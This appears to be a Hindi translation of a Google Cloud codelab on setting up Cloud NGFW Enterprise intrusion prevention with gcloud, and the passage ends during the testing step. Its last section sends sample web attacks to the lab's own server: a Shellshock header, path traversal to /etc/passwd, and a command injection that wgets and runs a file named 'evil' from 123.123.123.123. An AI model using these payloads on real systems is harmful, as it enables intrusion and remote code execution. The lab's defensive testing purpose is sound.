1. परिचय
क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू)
क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें बेहतर सुरक्षा सुविधाएं, माइक्रो-सेगमेंटेशन, और बहुत ज़्यादा कवरेज वाली सुविधा है. इससे Google Cloud के वर्कलोड को अंदरूनी और बाहरी हमलों से सुरक्षित रखने में मदद मिलती है.
Cloud NGFW के ये फ़ायदे हैं:
- डिस्ट्रिब्यूटेड फ़ायरवॉल सेवा: Cloud NGFW हर वर्कलोड पर पूरी तरह से डिस्ट्रिब्यूटेड होस्ट के मुताबिक नीति उल्लंघन ठीक करने का तरीका (एनफ़ोर्समेंट) उपलब्ध कराता है. इससे, ज़ीरो-ट्रस्ट सिक्योरिटी आर्किटेक्चर को चालू किया जाता है.
- आसान कॉन्फ़िगरेशन और डिप्लॉयमेंट: Cloud NGFW नेटवर्क और हैरारकी वाली फ़ायरवॉल की नीतियों को लागू करता है, जिन्हें रिसॉर्स हैरारकी के नोड से अटैच किया जा सकता है. ये नीतियां, Google Cloud के रिसॉर्स हैरारकी में मौजूद हर प्लैटफ़ॉर्म पर, फ़ायरवॉल का एक जैसा अनुभव देती हैं.
- बेहतर कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल नीतियों और पहचान और ऐक्सेस मैनेजमेंट (आईएएम) से नियंत्रित टैग के कॉम्बिनेशन से, वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क और संगठनों पर उत्तर-दक्षिण और पूर्व-पश्चिम, दोनों के ट्रैफ़िक को एक ही वीएम तक बेहतर कंट्रोल मिलता है.
Cloud NGFW इन टियर में उपलब्ध है:
- क्लाउड की अगली पीढ़ी के फ़ायरवॉल से जुड़े ज़रूरी बातें
- Cloud Next जनरेशन का फ़ायरवॉल स्टैंडर्ड
- क्लाउड की अगली पीढ़ी के फ़ायरवॉल एंटरप्राइज़
Cloud NGFW Enterprise
Cloud NGFW Enterprise ने इंट्रोजन प्रिवेंशन सर्विस (आईपीएस) को डिस्ट्रिब्यूट किए गए Google Cloud Firewall फ़ैब्रिक में एक लेयर 7 क्षमता के साथ जोड़ा है. TLS की मदद से, एन्क्रिप्ट (सुरक्षित) किए गए ट्रैफ़िक की जांच करने के लिए, इस जांच का इस्तेमाल किया जा सकता है. हालांकि, यह कोडलैब इस कोडलैब के दायरे से बाहर है. इसके बारे में ज़्यादा जानने के लिए, TLS जांचने के लिए Cloud NGFW Enterprise कोडलैब लेख पढ़ें.
अब बेहतर कंट्रोल के साथ लेयर 7 नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू) की भरोसेमंद जांच की जा सकती है. इसके लिए, आपको नेटवर्क आर्किटेक्चर या रूटिंग कॉन्फ़िगरेशन में कोई बदलाव नहीं करना होगा.
IPS के साथ लेयर 7 फ़ायरवॉल कंट्रोल को चालू और डिप्लॉय करने के लिए, आपको ये काम करने होंगे:
- Google Cloud से मैनेज किए जाने वाले ज़ोनल फ़ायरवॉल एंडपॉइंट का सेट बनाएं.
- विकल्प के तौर पर, TLS की जांच करने से जुड़ी नीति बनाएं (इस कोडलैब में शामिल नहीं है)
- विकल्प के तौर पर कोई ट्रस्ट कॉन्फ़िगरेशन बनाएं (इस कोडलैब में शामिल नहीं है)
- इन एंडपॉइंट को उन वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क से जोड़ें जहां आपको Cloud NGFW Enterprise सेवा की ज़रूरत है.
- अलग-अलग ट्रैफ़िक पाथ के लिए, खतरे से बचाव की प्रोफ़ाइल तय करने के लिए, फ़ायरवॉल की अपनी मौजूदा नीतियों और फ़ायरवॉल के नियमों में आसान बदलाव करें.
नेटवर्क फ़ायरवॉल की नीतियां
नेटवर्क फ़ायरवॉल की नीति, फ़ायरवॉल के नियमों के लिए कंटेनर के तौर पर काम करती है. नेटवर्क फ़ायरवॉल की नीति में तय किए गए नियम तब तक कहीं भी लागू नहीं होते हैं, जब तक वह नीति VPC नेटवर्क से न जुड़ी हो. हर VPC नेटवर्क के साथ, एक नेटवर्क फ़ायरवॉल नीति जुड़ी हो सकती है. नेटवर्क फ़ायरवॉल की नीतियां, फ़ायरवॉल के नियमों में IAM की मदद से चलने वाले टैग (या सिर्फ़ टैग) के साथ काम करती हैं. ये नियम मौजूदा नेटवर्क टैग की जगह ले लेते हैं. साथ ही, इनका इस्तेमाल वर्कलोड के लिए पहचान देने के लिए किया जा सकता है.
सभी नेटवर्क में नेटवर्क फ़ायरवॉल की नीति शेयर करने और IAM की मदद से मैनेज किए जाने वाले टैग के साथ इंटिग्रेशन से, फ़ायरवॉल के कॉन्फ़िगरेशन और मैनेजमेंट को बहुत आसान बनाया जा सकता है.
नेटवर्क फ़ायरवॉल की नीति पेश करते हुए, Google Cloud की फ़ायरवॉल नीतियों में अब ये कॉम्पोनेंट शामिल किए गए हैं:
- क्रम के हिसाब से फ़ायरवॉल की नीति
- VPC फ़ायरवॉल के नियम
- नेटवर्क फ़ायरवॉल की नीति ( ग्लोबल और रीजनल)
हैरारकी के हिसाब से फ़ायरवॉल की नीतियां, संसाधन की हैरारकी में संगठन और फ़ोल्डर नोड पर काम करती हैं, जबकि VPC फ़ायरवॉल के नियम और नेटवर्क फ़ायरवॉल की नीतियां, VPC लेवल पर लागू होती हैं. VPC फ़ायरवॉल के नियमों और नेटवर्क फ़ायरवॉल की नीतियों में एक बड़ा अंतर यह है कि VPC फ़ायरवॉल के नियम, सिर्फ़ एक VPC नेटवर्क पर लागू किए जा सकते हैं. वहीं, नेटवर्क फ़ायरवॉल की नीतियों को एक ही VPC या VPCs के ग्रुप के साथ अटैच किया जा सकता है. साथ ही, इन्हें बैच अपडेट जैसे अन्य फ़ायदों के साथ अटैच किया जा सकता है.
आखिर में, हमारे पास लागू किए गए फ़ायरवॉल नियम भी हैं, जो हर VPC नेटवर्क के साथ आते हैं:
- इग्रेस डेटा ट्रैफ़िक का नियम जिसकी कार्रवाई की अनुमति है, डेस्टिनेशन 0.0.0.0/0 है
- ऐसा इन्ग्रेस डेटा ट्रैफ़िक जिसकी कार्रवाई को अस्वीकार किया गया है, सोर्स 0.0.0.0/0 है
डिफ़ॉल्ट रूप से, नीति उल्लंघन ठीक करने के तरीके (एनफ़ोर्समेंट) को इस डायग्राम में दिखाया गया है:
कृपया ध्यान दें कि VPC फ़ायरवॉल के नियमों और ग्लोबल नेटवर्क फ़ायरवॉल की नीति के बीच, नीति उल्लंघन ठीक करने के तरीके (एनफ़ोर्समेंट) को बदला जा सकता है. ग्राहक gcloud के लिए कमांड की मदद से, किसी भी समय नीति उल्लंघन ठीक करने के तरीके (एनफ़ोर्समेंट) के बारे में बता सकते हैं.
IAM से मैनेज किए गए टैग
नेटवर्क फ़ायरवॉल की नीति के नियमों में इंटिग्रेट किए गए नए टैग, की-वैल्यू पेयर वाले ऐसे संसाधन हैं जिन्हें संगठन या Google Cloud के संसाधन हैरारकी में मौजूद, प्रोजेक्ट-लेवल पर तय किया गया है. जैसा कि नाम से ही पता चलता है, ऐसे टैग में एक IAM ऐक्सेस कंट्रोल होता है. इससे पता चलता है कि टैग में कौन क्या कर सकता है. उदाहरण के लिए, IAM अनुमतियों से यह तय किया जा सकता है कि कौनसे मुख्य खाते, टैग को वैल्यू असाइन कर सकते हैं और कौनसे मुख्य खाते, संसाधनों में टैग अटैच कर सकते हैं. किसी संसाधन पर टैग लागू करने के बाद, नेटवर्क फ़ायरवॉल के नियम, इसका इस्तेमाल ट्रैफ़िक को अनुमति देने और अस्वीकार करने के लिए कर सकते हैं.
टैग, Google Cloud के इनहेरिटेंस रिसोर्स मॉडल का पालन करते हैं. इसका मतलब है कि टैग और उनकी वैल्यू, उनके पैरंट से क्रम में पास कर दी जाती हैं. इस वजह से, टैग एक ही जगह पर बनाए जा सकते हैं और फिर उन्हें रिसॉर्स हैरारकी में मौजूद दूसरे फ़ोल्डर और प्रोजेक्ट में इस्तेमाल किया जा सकता है. टैग और ऐक्सेस से जुड़ी पाबंदियों के बारे में जानने के लिए, इस पेज पर जाएं.
टैग को नेटवर्क टैग से जोड़कर नहीं समझा जाना चाहिए. बाद वाली ऐसी स्ट्रिंग जिन्हें Compute Engine इंस्टेंस में जोड़ा जा सकता है; ये इंस्टेंस से जुड़े होते हैं और किसी भी इंस्टेंस के बंद होने पर वे गायब हो जाते हैं. VPC फ़ायरवॉल के नियमों में नेटवर्क टैग शामिल हो सकते हैं, लेकिन इन्हें क्लाउड रिसॉर्स नहीं माना जाता है. इसलिए, इन पर IAM ऐक्सेस कंट्रोल लागू नहीं होता.
ध्यान दें कि इस दस्तावेज़ में, टैग और IAM से चलने वाले टैग को एक-दूसरे की जगह पर इस्तेमाल किया जा रहा है.
आपको क्या बनाना होगा
इस कोडलैब के लिए एक प्रोजेक्ट और पब्लिक कनेक्टिविटी के साथ VPC नेटवर्क बनाने की सुविधा होनी ज़रूरी है. साथ ही, यह दिखाया जाएगा कि Cloud NGFW Enterprise इन कामों के लिए, आईपीएस की सुविधा कैसे दे सकता है:
- इंट्रा-वीपीसी/सबनेट फ़्लो की जांच करना [पूर्व-पश्चिम]
- इंटरनेट से इन्ग्रेस डेटा ट्रैफ़िक की जांच करना [उत्तरी-दक्षिणी]
जिन फ़्लो की जांच होनी है उन्हें Cloud Firewall से मैच करने वाले पैरामीटर का इस्तेमाल करके चुना जाएगा. इनमें 5-टपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) और टैग शामिल हैं. इस कोडलैब में, टीएलएस की जांच करने की सुविधा को शामिल नहीं किया जाता है.
नेटवर्क फ़ायरवॉल की नीति का नियम, नीचे दी गई टेबल की तरह होगा:
प्राथमिकता | लिखने की दिशा | Target | Source | जगह | कार्रवाई | स्ट्रीम किस तरह की है |
100 | इग्रेस डेटा ट्रैफ़िक | Quarantine_Tag | कोई भी | कोई भी | अस्वीकार करें | इन्हें ज़रूर आज़माएं |
1000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | सेहत की जांच की रेंज | कोई भी | अनुमति दें | इन्हें ज़रूर आज़माएं |
2000 | इन्ग्रेस डेटा ट्रैफ़िक | कोई भी | पहचान-जागरूक प्रॉक्सी रेंज | कोई भी | अनुमति दें | इन्हें ज़रूर आज़माएं |
3000 | इन्ग्रेस डेटा ट्रैफ़िक | कोई भी | भौगोलिक, GCTI | कोई भी | अस्वीकार करें | स्टैंडर्ड मोड |
4000 | इग्रेस डेटा ट्रैफ़िक | कोई भी | कोई भी | भौगोलिक, GCTI | अस्वीकार करें | स्टैंडर्ड मोड |
5000 | इग्रेस डेटा ट्रैफ़िक | कोई भी | कोई भी | सिस्टम अपडेट FQDN | अनुमति दें | स्टैंडर्ड मोड |
6000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | 10.0.0.0/24 | कोई भी | IPS | एंटरप्राइज़ |
7000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | CloudNAT_IP | कोई भी | IPS | एंटरप्राइज़ |
आपको इनके बारे में जानकारी मिलेगी
- ग्लोबल नेटवर्क फ़ायरवॉल की नीति बनाने का तरीका
- नेटवर्क फ़ायरवॉल की नीति वाले टैग बनाने और इस्तेमाल करने का तरीका
- Cloud NGFW Enterprise की उल्लंघनों की रोकथाम करने वाली सेवा को कॉन्फ़िगर और इस्तेमाल करने का तरीका
आपको इन चीज़ों की ज़रूरत होगी
- Google Cloud प्रोजेक्ट
- इंस्टेंस को डिप्लॉय करने और नेटवर्किंग कॉम्पोनेंट को कॉन्फ़िगर करने की जानकारी
- VPC फ़ायरवॉल कॉन्फ़िगरेशन की जानकारी
2. शुरू करने से पहले
वैरिएबल बनाएं/अपडेट करें
यह कोडलैब, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए $variables का इस्तेमाल करता है.
Cloud Shell में, ज़रूरत के हिसाब से ब्रैकेट में दी गई जानकारी को बदलकर, नीचे दिए गए निर्देशों का पालन करें. अगर प्रोजेक्ट पहले से सेट है, तो प्रोजेक्ट को छोड़ दें. संगठन-लेवल के संसाधनों के लिए, एक अलग वैरिएबल का इस्तेमाल किया जाता है. उदाहरण के लिए, फ़ायरवॉल एंडपॉइंट ज़रूरी हैं.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. एपीआई चालू करें
अगर आपने ऐसा नहीं किया है, तो एपीआई चालू करें:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise Security प्रोफ़ाइल और एंडपॉइंट क्रिएशन
Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, सबसे पहले इसे बनाया जाएगा. साथ ही, एंडपॉइंट बनाते समय बेस सेटअप भी किया जा सकता है.
सिक्योरिटी प्रोफ़ाइल और सिक्योरिटी प्रोफ़ाइल ग्रुप बनाएं:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
अनुमानित आउटपुट:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
पुष्टि करें कि संसाधन सही तरीके से बनाए गए हैं:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
अनुमानित आउटपुट:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Cloud NGFW Enterprise एंडपॉइंट बनाएं:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
नीचे दिया गया निर्देश चलाकर पुष्टि करें कि एंडपॉइंट बनाया जा रहा है (स्टेट: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
इसके अलावा, ज़्यादा जानकारी पाने के लिए यहां दिया गया निर्देश दें:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
एंडपॉइंट बनाने की प्रोसेस में करीब 20 मिनट लगते हैं. साथ में ज़रूरी संसाधन बनाने के लिए, बेस सेटअप सेक्शन पर जाएं.
5. बेस सेटअप
अगर आपको मैन्युअल तरीके से बुनियादी संसाधन बनाने हैं, तो नीचे दिए गए सेक्शन पर जाएं.
VPC नेटवर्क और सबनेट
VPC नेटवर्क और सबनेट
VPC नेटवर्क और सबनेट बनाएं:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
क्लाउड NAT
क्लाउड राऊटर और क्लाउड एनएटी गेटवे बनाना:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
जानकारी
क्लाइंट और वेब-सर्वर इंस्टेंस बनाएं:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
रोजेक्ट-लेवल के टैग
अगर ज़रूरी हो, तो उपयोगकर्ता को TagAdmin और/या tagUser की अनुमतियां असाइन करें:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
प्रोजेक्ट-लेवल पर टैग कुंजी और वैल्यू बनाएं:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
टैग को इंस्टेंस से बाइंड करें:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
ग्लोबल नेटवर्क फ़ायरवॉल की नीति
वैश्विक नेटवर्क फ़ायरवॉल नीति बनाएँ:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
क्वॉरंटीन किए गए इंस्टेंस से ट्रैफ़िक अस्वीकार करने के लिए, Cloud Firewall के ज़रूरी नियम बनाएं. ये नियम सिर्फ़ उदाहरण के तौर पर बनाए गए हैं, जिनका इस्तेमाल इस कोडलैब में नहीं किया जा रहा है. साथ ही, स्वास्थ्य की जांच और आइडेंटिटी की जानकारी देने वाली प्रॉक्सी रेंज से ट्रैफ़िक की अनुमति देने के लिए:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
पाबंदी वाले देशों से या पाबंदी वाले देशों से आने वाले ट्रैफ़िक और वहां से ट्रैफ़िक को रोकने के लिए, Cloud Firewall के स्टैंडर्ड नियम बनाएं. इनमें नुकसान पहुंचाने वाले आईपी और ToR के एग्ज़िट नोड शामिल हैं; साथ ही, सिस्टम अपडेट के लिए सिर्फ़ चुनिंदा एफ़क्यूडीएन को इग्रेस डेटा ट्रैफ़िक की अनुमति दें (इसे सिर्फ़ उदाहरण के तौर पर बनाया गया हो, कोडलैब में इसका इस्तेमाल नहीं किया जा रहा हो):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
तय की गई रेंज से, पूर्व-पश्चिम / इंट्रा-सबनेट और उत्तर-दक्षिण / इंटरनेट ट्रैफ़िक को अनुमति देने के लिए, Cloud Firewall के नियम बनाएं. Cloud NGFW Enterprise को चालू करने के लिए, इन नियमों को अपडेट किया जाएगा:
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
नेटवर्क फ़ायरवॉल की नीति को VPC नेटवर्क से जोड़ें:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
एक्सटर्नल टीसीपी या यूडीपी नेटवर्क लोड बैलेंसर
किसी बाहरी आईपी पते को रिज़र्व करके, इंस्टेंस ग्रुप और हेल्थ-चेक बनाएं:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
बैकएंड सेवा और फ़ॉरवर्ड करने के नियम बनाएं:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise एंडपॉइंट असोसिएशन
अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल को फिर से तय करें.
पुष्टि करें कि Cloud Firewall एंडपॉइंट बनाने की प्रोसेस पूरी हो गई है. जब स्थिति चालू के तौर पर दिखे, सिर्फ़ तब आगे की कार्रवाई करें (वीडियो बनाने के दौरान, जनरेट हुई स्थिति क्रिएट हो रही है):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
इसके अलावा, ज़्यादा जानकारी पाने के लिए यहां दिया गया निर्देश दें:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Cloud NGFW एंटरप्राइज़ एंडपॉइंट को VPC नेटवर्क से जोड़ें:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
लिंक करने की प्रोसेस पूरी होने में करीब 10 मिनट लगते हैं. स्थिति चालू होने के बाद ही आगे बढ़ें. प्रोजेक्ट बनाने के दौरान, स्टेटस CREATING होना चाहिए:
gcloud network-security firewall-endpoint-associations list
अनुमानित आउटपुट:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
इसके अलावा, ज़्यादा जानकारी पाने के लिए यहां दिया गया निर्देश दें:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
अनुमानित आउटपुट:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW एंटरप्राइज़ की जांच के नियम
नया टैब खोलें और आईएपी के ज़रिए क्लाइंट वीएम से एसएसएच कनेक्शन शुरू करें (आपको नए टैब में वैरिएबल फिर से तय करना होगा):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
एसएसएच सेशन में ज़रूरी वैरिएबल तय करें और वैरिएबल सेट करें (पक्का करें कि वैल्यू सही हों):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
दोनों आईपी को देखकर यह पुष्टि करें कि वे ऐक्सेस किए जा सकते हैं:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
दोनों कर्ल अनुरोधों के लिए अनुमानित नतीजा:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
इंटरनल सर्वर आईपी पर सैंपल हमलों को भेजें (ईस्ट-वेस्ट / इंट्रा-VPC ट्रैफ़िक). वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए. साथ ही, इस बात की पुष्टि करनी चाहिए कि L7 की जांच या रोकथाम नहीं की गई है:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Cloud NAT (उत्तरी-दक्षिणी इनबाउंड ट्रैफ़िक) के ज़रिए एक्सटर्नल सर्वर आईपी को सैंपल अटैक फिर से भेजें. इसी तरह वेब सर्वर को भी सभी अनुरोधों का जवाब देना चाहिए:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
सार्वजनिक और निजी आईपी, दोनों के लिए अनुमानित नतीजे:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
